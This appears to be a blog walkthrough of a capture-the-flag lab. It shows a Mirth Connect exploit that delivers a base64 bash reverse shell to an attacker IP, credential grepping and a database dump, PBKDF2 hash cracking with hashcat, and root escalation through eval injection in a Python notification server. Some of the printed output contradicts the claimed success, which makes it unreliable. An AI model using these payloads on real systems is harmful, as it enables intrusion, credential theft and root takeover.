Alan's Blog

1
nmap -sT -min-rate 10000 -p- -iL ip.txt -oA nmapscan/ports
2
...
3
PORT     STATE SERVICE
4
22/tcp   open  ssh
5
80/tcp   open  http
6
443/tcp  open  https
7
6661/tcp open  unknown

1
head -n 1 webstart.jnlp
2
<jnlp codebase="https://ip:port" version="4.4.0">

1
└─# echo "bash -i >& /dev/tcp/your_ip/your_port 0>&1" | base64
2

3
└─# python3 ./exploit.py exec -t https://target_ip -c 'bash -c {echo,your_base64_code}|{base64,-d}|{bash,-i}'

1
└─# nc -lvnp 4444
2
listening on [any] 4444 ...
3
connect to [your_ip] from (UNKNOWN) [target_ip] port
4
bash: cannot set terminal process group (3589): Inappropriate ioctl for device
5
bash: no job control in this shell
6
mirth@interpreter:/usr/local/mirthconnect$

1
mirthconnect$ cat conf/mirth.properties | grep pass
2
# password requirements
3
password.minlength = 0
4
password.minupper = 0
5
password.minlower = 0
6
password.minnumeric = 0
7
password.minspecial = 0
8
password.retrylimit = 0
9
password.lockoutperiod = 0
10
password.expiration = 0
11
password.graceperiod = 0
12
password.reuseperiod = 0
13
password.reuselimit = 0
14
keystore.storepass = 5GbU5HGTOOgE
15
keystore.keypass = tAuJfQeXdnPw
16
database.password = MirthPass123!

1
$ mysql -u mirthdb -p'MirthPass123!' -e "use mc_bdd_prod;select * from PERSON;"
2
ID      USERNAME        FIRSTNAME       LASTNAME        ORGANIZATION    INDUSTRY        EMAIL   PHONENUMBER     DESCRIPTION     LAST_LOGIN      GRACE_PERIOD_START      STRIKE_COUNT    LAST_STRIKE_TIME        LOGGED_IN       ROLE    COUNTRY STATETERRITORY  USERCONSENT
3
2       sedric                          NULL                            2025-09-21 17:56:02     NULL    0       NULL    \0      NULL    United States   NULL    0
4
$ mysql -u mirthdb -p'MirthPass123!' -e "use mc_bdd_prod;select * from PERSON_PASSWORD;"
5
PERSON_ID       PASSWORD        PASSWORD_DATE
6
2       u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==        2025-09-19 09:22:28

1
└─# hashcat -h | grep PBKDF2 | grep SHA256
2
  10900 | PBKDF2-HMAC-SHA256                                         | Generic KDF
3
  12800 | MS-AzureSync PBKDF2-HMAC-SHA256                            | Operating System
4
   9200 | Cisco-IOS $8$ (PBKDF2-SHA256)                              | Operating System
5
  10901 | RedHat 389-DS LDAP (PBKDF2-HMAC-SHA256)                    | FTP, HTTP, SMTP, LDAP Server
6
  27500 | VirtualBox (PBKDF2-HMAC-SHA256 & AES-128-XTS)              | Full-Disk Encryption (FDE)
7
  27600 | VirtualBox (PBKDF2-HMAC-SHA256 & AES-256-XTS)              | Full-Disk Encryption (FDE)
8
  10000 | Django (PBKDF2-SHA256)                                     | Framework
9
  24420 | PKCS#8 Private Keys (PBKDF2-HMAC-SHA256 + 3DES/AES)        | Private Key
10
  16300 | Ethereum Pre-Sale Wallet, PBKDF2-HMAC-SHA256               | Cryptocurrency Wallet
11
  15600 | Ethereum Wallet, PBKDF2-HMAC-SHA256                        | Cryptocurrency Wallet

1
hashcat --example-hashes -m 10900
2
hashcat (v6.2.6) starting in hash-info mode
3

4
Hash Info:
5
==========
6

7
Hash mode #10900
8
  Name................: PBKDF2-HMAC-SHA256
9
  Category............: Generic KDF
10
  Slow.Hash...........: Yes
11
  Password.Len.Min....: 0
12
  Password.Len.Max....: 256
13
  Salt.Type...........: Embedded
14
  Salt.Len.Min........: 0
15
  Salt.Len.Max........: 256
16
  Kernel.Type(s)......: pure
17
  Example.Hash.Format.: plain
18
  Example.Hash........: sha256:1000:NjI3MDM3:vVfavLQL9ZWjg8BUMq6/FB8FtpkIGWYk
19
  Example.Pass........: hashcat
20
  Benchmark.Mask......: ?b?b?b?b?b?b?b
21
  Autodetect.Enabled..: Yes
22
  Self.Test.Enabled...: Yes
23
  Potfile.Enabled.....: Yes
24
  Custom.Plugin.......: No
25
  Plaintext.Encoding..: ASCII, HEX

1
└─# echo "u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==" | base64 -d | xxd
2
00000000: bbff 8b04 1394 9da7 62c8 506c 30ea 080c  ........b.Pl0...
3
00000010: f2db 511d 2b93 9f64 1243 d4d7 b8ad 76b5  ..Q.+..d.C....v.
4
00000020: 5603 f90b 32dd f0fb                      V...2...

1
└─# echo -n "bbff8b0413949da7" | xxd -r -p | base64
2
u/+LBBOUnac=
3

4
└─# echo "62c8506c30ea080cf2db511d2b939f641243d4d7b8ad76b55603f90b32ddf0fb"| xxd -r -p  | base64
5
YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=

1
sudo hashcat -m 10900 hash.txt /path/to/rockyou.txt
2

3
...
4
sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=:snowflake1
5
...

1
sedric@interpreter:~$ ps -aux
2
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
3
...
4
root        2836  0.1  0.0  86944  2568 ?        D<sl 11:05   0:00 /sbin/auditd
5
_laurel     2855  0.0  0.1   9444  5804 ?        S<   11:05   0:00 /usr/local/sbin/laurel --config /etc/laurel/config.to
6
root        3170  0.0  0.0      0     0 ?        S    11:05   0:00 [audit_prune_tree]
7
root        3197  0.0  0.0   5468  1008 ?        Ss   11:05   0:00 /usr/sbin/anacron -d -q -s
8
root        3198  0.0  0.0   6616  1204 ?        Ss   11:05   0:00 /usr/sbin/cron -f
9
message+    3199  0.0  0.1   9144  4868 ?        Ss   11:05   0:00 /usr/bin/dbus-daemon --system --address=systemd: --no
10
root        3201  0.0  0.1 221800  4804 ?        Ssl  11:05   0:00 /usr/sbin/rsyslogd -n -iNONE
11
root        3202  0.0  0.1  17028  7764 ?        Ss   11:05   0:00 /lib/systemd/systemd-logind
12
root        3211  0.0  0.1  16552  5780 ?        Ss   11:05   0:00 /sbin/wpa_supplicant -u -s -O DIR=/run/wpa_supplicant
13
root        3250  0.0  0.0   5876  3516 ?        Ss   11:05   0:00 dhclient -4 -v -i -pf /run/dhclient.eth0.pid -lf /var
14
root        3412  0.1  0.6 400212 27448 ?        Ssl  11:05   0:00 /usr/bin/python3 /usr/bin/fail2ban-server -xf start
15
root        3417  0.0  0.0   5880  1012 tty1     Ss+  11:05   0:00 /sbin/agetty -o -p -- \u --noclear - linux
16
root        3428  0.8  0.2 144700 11032 ?        Sl   11:05   0:02 /usr/sbin/vmtoolsd
17
root        3429  0.0  0.2  15452  8868 ?        Ss   11:05   0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startu
18
mysql       3534  0.2  3.5 1415480 141840 ?      Ssl  11:05   0:00 /usr/sbin/mariadbd
19
root        3550  0.0  0.2  40776 11316 ?        S    11:05   0:00 /usr/lib/vmware-vgauth/VGAuthService -s
20
mirth       3563 15.8  8.1 2883160 328380 ?      Ssl  11:05   0:52 /usr/lib/jvm/java-17-openjdk-amd64/bin/java -server -
21
root        3571  0.2  0.7  39872 31516 ?        Ss   11:05   0:00 /usr/bin/python3 /usr/local/bin/notif.py
22
root        3912  0.0  0.2  17752 10852 ?        Ss   11:08   0:00 sshd: sedric [priv]
23
sedric      3915  0.0  0.2  18904 10404 ?        Ss   11:08   0:00 /lib/systemd/systemd --user
24
sedric      3916  0.0  0.0 103204  3040 ?        S    11:08   0:00 (sd-pam)
25
sedric      3926  0.0  0.1  18012  6872 ?        S    11:08   0:00 sshd: sedric@pts/0
26
sedric      3927  0.0  0.1   9604  5752 pts/0    Ss   11:08   0:00 -bash
27
sedric      3975  150  0.1  12308  5340 pts/0    R+   11:10   0:00 ps -aux

1
sedric@interpreter:~$ cat /usr/local/bin/notif.py
2
#!/usr/bin/env python3
3
"""
4
Notification server for added patients.
5
This server listens for XML messages containing patient information and writes formatted notifications to files in /var/secure-health/patients/.
6
It is designed to be run locally and only accepts requests with preformated data from MirthConnect running on the same machine.
7
It takes data interpreted from HL7 to XML by MirthConnect and formats it using a safe templating function.
8
"""
9
from flask import Flask, request, abort
10
import re
11
import uuid
12
from datetime import datetime
13
import xml.etree.ElementTree as ET, os
14

15
app = Flask(__name__)
16
USER_DIR = "/var/secure-health/patients/"; os.makedirs(USER_DIR, exist_ok=True)
17

18
def template(first, last, sender, ts, dob, gender):
19
    pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
20
    for s in [first, last, sender, ts, dob, gender]:
21
        if not pattern.fullmatch(s):
22
            return "[INVALID_INPUT]"
23
    # DOB format is DD/MM/YYYY
24
    try:
25
        year_of_birth = int(dob.split('/')[-1])
26
        if year_of_birth < 1900 or year_of_birth > datetime.now().year:
27
            return "[INVALID_DOB]"
28
    except:
29
        return "[INVALID_DOB]"
30
    template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
31
    try:
32
        return eval(f"f'''{template}'''")
33
    except Exception as e:
34
        return f"[EVAL_ERROR] {e}"
35

36
@app.route("/addPatient", methods=["POST"])
37
def receive():
38
    if request.remote_addr != "127.0.0.1":
39
        abort(403)
40
    try:
41
        xml_text = request.data.decode()
42
        xml_root = ET.fromstring(xml_text)
43
    except ET.ParseError:
44
        return "XML ERROR\n", 400
45
    patient = xml_root if xml_root.tag=="patient" else xml_root.find("patient")
46
    if patient is None:
47
        return "No <patient> tag found\n", 400
48
    id = uuid.uuid4().hex
49
    data = {tag: (patient.findtext(tag) or "") for tag in ["firstname","lastname","sender_app","timestamp","birth_date","gender"]}
50
    notification = template(data["firstname"],data["lastname"],data["sender_app"],data["timestamp"],data["birth_date"],data["gender"])
51
    path = os.path.join(USER_DIR,f"{id}.txt")
52
    with open(path,"w") as f:
53
        f.write(notification+"\n")
54
    return notification
55

56
if __name__=="__main__":
57
    app.run("127.0.0.1",54321, threaded=True)

1
#!/usr/bin/env python3
2
import urllib.request
3

4
url = "http://127.0.0.1:54321/addPatient"
5

6
xml_data = """<?xml version="1.0"?>
7
<patient>
8
  <firstname>{exec(__import__("base64").b64decode("X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2NobW9kICtzIC9iaW4vYmFzaCcpCg==").decode())}</firstname>
9
  <lastname>Alan</lastname>
10
  <sender_app>priv</sender_app>
11
  <timestamp>20260308</timestamp>
12
  <birth_date>01/01/2000</birth_date>
13
  <gender>M</gender>
14
</patient>
15
"""
16

17
req = urllib.request.Request(
18
    url,
19
    data=xml_data.encode("utf-8"),
20
    method="POST",
21
    headers={"Content-Type": "application/xml"}
22
)
23

24
try:
25
    resp = urllib.request.urlopen(req)
26
    body = resp.read().decode()
27
    print("Status:", resp.status)
28
    print("Response:", body)
29
except Exception as e:
30
    print("Error:", e)

1
sedric@interpreter:/tmp$ python3 priv.py
2
Status: 200
3
Response: [INVALID_INPUT]
4
[*] Eval not triggered. No obvious vulnerability.
5

6
sedric@interpreter:/tmp$ /bin/bash -p
7
bash-5.2# whoami
8
root